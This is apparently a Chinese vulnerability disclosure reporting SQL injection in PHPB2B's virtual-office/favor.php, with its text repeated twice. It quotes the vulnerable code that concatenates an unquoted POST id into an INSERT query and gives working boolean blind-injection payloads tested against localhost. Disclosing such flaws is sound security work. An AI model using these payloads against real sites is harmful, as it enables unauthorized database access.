### 简要描述:
PHPB2B某处sql注入#5
### 详细说明:
官网下载的最新版本
PHPB2B某处sql注入
virtual-office/favor.php
25-45行
```
if(isset($_POST['do']) && isset($_POST['id'])){
//check limit
$type_id = 1;
$f_limit = $pdb->GetOne($sql = "SELECT count(id) FROM {$tb_prefix}favorites WHERE type_id='".$type_id."' AND member_id=".$the_memberid);
if ($trade_model->checkExist($_POST['id'])) {
if ($g['max_favorite']==0 or $g['max_favorite']>$f_limit) {
$sql = "INSERT INTO {$tb_prefix}favorites (target_id,member_id,type_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$type_id.",".$time_stamp.",".$time_stamp.")";
$result = $pdb->Execute($sql);
}else{
flash("post_max");
}
}else{
flash("data_not_exists");
}
if($result){
echo "<script language='javascript'>window.close();</script>";
exit;
}else {
flash("been_favorited", '', 0);
}
}
```
```
$sql = "INSERT INTO {$tb_prefix}favorites (target_id,member_id,type_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$type_id.",".$time_stamp.",".$time_stamp.")";
```
这一行,直接把post传递过来的id带入执行,也没有加单引号,导致注入产生。
因为表中各个字段的类型都是int型,不能写数据,还是盲注吧。
来个逻辑盲注。
url:
localhost/phpb2b/virtual-office/favor.php
post传递
do=1&id=12,3,1,(if(1=1,1,0)),1)%23
提交后一片空白。
然后直接访问localhost/phpb2b/virtual-office/favor.php
注意看时间
[<img src="https://images.seebug.org/upload/201501/06164834da385970e4d0da608e21692ba14e3b81.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164834da385970e4d0da608e21692ba14e3b81.png)
这是逻辑真的情况。
然后我们把这条收藏再删除。
接着post提交
do=1&id=12,3,1,(if(1=2,1,0)),1)%23
[<img src="https://images.seebug.org/upload/201501/06164915419ce7d2becbde50085a6be34ca1a841.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164915419ce7d2becbde50085a6be34ca1a841.png)
再看结果,时间变成了当前时间。
所以,根据回显结果的不同,就可以注入啦。
原理讲明白了。剩下的就不多说啦~
### 漏洞证明:
官网下载的最新版本
PHPB2B某处sql注入
virtual-office/favor.php
25-45行
```
if(isset($_POST['do']) && isset($_POST['id'])){
//check limit
$type_id = 1;
$f_limit = $pdb->GetOne($sql = "SELECT count(id) FROM {$tb_prefix}favorites WHERE type_id='".$type_id."' AND member_id=".$the_memberid);
if ($trade_model->checkExist($_POST['id'])) {
if ($g['max_favorite']==0 or $g['max_favorite']>$f_limit) {
$sql = "INSERT INTO {$tb_prefix}favorites (target_id,member_id,type_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$type_id.",".$time_stamp.",".$time_stamp.")";
$result = $pdb->Execute($sql);
}else{
flash("post_max");
}
}else{
flash("data_not_exists");
}
if($result){
echo "<script language='javascript'>window.close();</script>";
exit;
}else {
flash("been_favorited", '', 0);
}
}
```
```
$sql = "INSERT INTO {$tb_prefix}favorites (target_id,member_id,type_id,created,modified) VALUE (".$_POST['id'].",".$the_memberid.",".$type_id.",".$time_stamp.",".$time_stamp.")";
```
这一行,直接把post传递过来的id带入执行,也没有加单引号,导致注入产生。
因为表中各个字段的类型都是int型,不能写数据,还是盲注吧。
来个逻辑盲注。
url:
localhost/phpb2b/virtual-office/favor.php
post传递
do=1&id=12,3,1,(if(1=1,1,0)),1)%23
提交后一片空白。
然后直接访问localhost/phpb2b/virtual-office/favor.php
注意看时间
[<img src="https://images.seebug.org/upload/201501/06164834da385970e4d0da608e21692ba14e3b81.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164834da385970e4d0da608e21692ba14e3b81.png)
这是逻辑真的情况。
然后我们把这条收藏再删除。
接着post提交
do=1&id=12,3,1,(if(1=2,1,0)),1)%23
[<img src="https://images.seebug.org/upload/201501/06164915419ce7d2becbde50085a6be34ca1a841.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164915419ce7d2becbde50085a6be34ca1a841.png)
再看结果,时间变成了当前时间。
所以,根据回显结果的不同,就可以注入啦。
原理讲明白了。剩下的就不多说啦~
暂无评论